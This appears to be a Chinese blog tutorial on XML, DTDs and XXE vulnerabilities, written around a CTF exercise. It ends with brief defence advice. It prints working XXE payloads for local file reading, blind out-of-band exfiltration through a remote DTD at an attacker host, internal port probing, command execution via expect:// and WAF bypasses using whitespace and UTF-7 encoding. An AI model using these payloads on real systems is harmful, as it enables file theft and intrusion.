携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第22天,点击查看活动详情
XML
定义
XML是一种用来传输和存储数据的可扩展标记语言,用于传输和数据存储;而HTML用于显示数据。
语法规则
- 所有的XML元素都必须有一个关闭标签
- XML标签对大小写敏感
- XML必须正确嵌套
- XML属性值必须加引号“”
- 实体引用
在标签属性,或者对应位置值可能出现<>符号,这些在对应的xml中都是特殊含义的,那么必须使用对应html的实体对应的表示:例如,if salary < 1000 then 如果把这个“<”放在元素中,那么解析器会把他当成新元素的开始,就会发生报错。为了避免这个错误使用实体引用来代替if salary < 1000 then
结构
- XML 文档声明,在文档的第一行
- XML 文档类型定义,即DTD,XXE 漏洞所在的地方
- XML 文档元素
DTD
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD
- 内部声明实体
- 引用外部实体
内部声明
<?xml version="1.0"?> //xml声明
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)> //定义了note元素,并且note元素下面有4个子元素
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]> //从<!DOCTYPE...到}>,是DTD文档的定义
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> //后面这部分就是XML文件内容
//定义了子元素to,后面的(#PCDATA)意思是to元素里面的字符串内容不会被解析
外部声明
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
其中note.dtd的内容为
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
协议
不同语言下支持的协议:
除此外php在安装扩展后还能支持的协议:
XXE
漏洞原理
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可以加载恶意外部文件,造成文件读取、命令执行、内网端口扫描。XXE漏洞触发的点往往是可以上传XML文件的位置,没有对上传的XML文件进行过滤,导致可上传恶意XML文件
利用
文件读取(有回显)
传输类型是xml,通过post传输的数据。
然后看一下返回的响应包,发现,响应包返回的信息中,有username的值admin。
尝试构造payload来构造外部实体admin处的注入,利用协议读取文件,用 &实体名; 引用的实体
<!DOCTYPE A[
<!ENTITY xss SYSTEM "file:///f:/flag.txt">]>
<user><username>&xss;</username><password>admin</password></user>
通用实体(& 实体名)
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
参数实体(% 实体名)
<!DOCTYPE A[
<!ENTITY xss SYSTEM "file:///f:/text.txt">]>
<user><username>&xss;</username><password>admin</password></user>
有些内容可能不想让解析引擎解析执行,CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是xml标记
<![CDATA[***]]>//在引用的两边加上 "<![CDATA["和 “]]>
多个实体拼接(错)
<!DOCTYPE A[
<!ENTITY B "<![CDATA[">
<!ENTITY C SYSTEM "file:///f:/text.txt">
<!ENTITY D "]]>">]>
<user><username>&B;&C;&D;</username><password>admin</password></user>
要想在 DTD中拼接,就要使用参数实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE A[
<!ENTITY % B "<![CDATA[">
<!ENTITY % C SYSTEM "file:///f:/text.txt">
<!ENTITY % D "]]>">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/evil.dtd">
%dtd; ]>
<user><username>&all;</username><password>admin</password></user>
evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%B;%C;%D;">
文件读取(无回显)
blind xxe虽然不回显信息,但是可以利用file协议来读取文件。对于这种情况,就可以用到参数实体了(%)。
将login.php进行如下设置即为无回显
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=f:/flag.txt">
<!ENTITY % dtd SYSTEM "http://192.168.88.128/eval.xml">
%dtd;
%send;
]>
远程服务器创建eval.xml
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.88.128/%file;'>"> %payload;
上面这段代码由于解析的问题将 send 前面的 %进行HTML 实体转化
tail /var/log/httpd/access_log -f 访问日志得到base64编码
HTML实体化
| 字符 | 十六进制 | 十进制 | 转义字符 |
|---|---|---|---|
| " | " | " | " |
| & | & | & | & |
| < | < | < | < |
| > | > | > | |
| % | % | % | |
| ' | ' | ' | ´ |
端口探测
(6条消息) XXE漏洞-内网探测_小刚的博客-CSDN博客
利用http协议请求探测内网端口的存活,从而可以进行ssrf攻击。构造代码:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:80/" [
<!ELEMENT data (#PCDATA)>
]>
<data>&data;</data>
执行系统命令
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM "expect://whoami">
]>
<user><username>&xxes;</username><password>admin</password></user>
绕过方式
空格绕过
通常XXE漏洞存在于XML文档的开头,有的WAF会检测XML文档中开头中的某些子字符串或正则表达式,但是XML格式在设置标签属性的格式时允许使用任何数量的空格,因此我们可以在或中插入数量足够多的空格去绕过WAF的检测。
<?xml
version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;
%dtd;
%xxe;
]>
编码绕过
当服务端对一些关键词过滤时(SYSTEM ENTITY)时,可以使用UTF-7绕过
原文
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;
%dtd;
%xxe;
]>
绕过
<?xml version="1.0" encoding="utf-7"?>
+ADwAIQ-DOCTYPE test +AFs-
+ADwAIQ-ENTITY +ACU- file SYSTEM +ACI-php://filter/read+AD0-convert-base64.encode/resource+AD0-/flag.txt+ACIAPg-
+ADwAIQ-ENTITY +ACU- remote SYSTEM +ACI-http://vps-ip/test.dtd+ACIAPg-
+ACU-remote+ADs-
+ACU-dtd+ADs-
+ACU-xxe+ADs-
+AF0APg-
linux命令
iconv -f utf8 -t utf-7 2.xml>1.xml
防御
禁用外部实体
允许加载了外部实体。那么要防御禁止外部实体加载。
libxml_disable_entity_loader(true);
将false不禁止外部实体加载,改为true禁止外部实体加载。
过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM
例题
抓包后得到json数据
由于json和xml可以互换,因此放到repeater中进行转换,测试后发现有xxe漏洞
提示flag在home/ctf/flag.txt中
构造payload访问flag.txt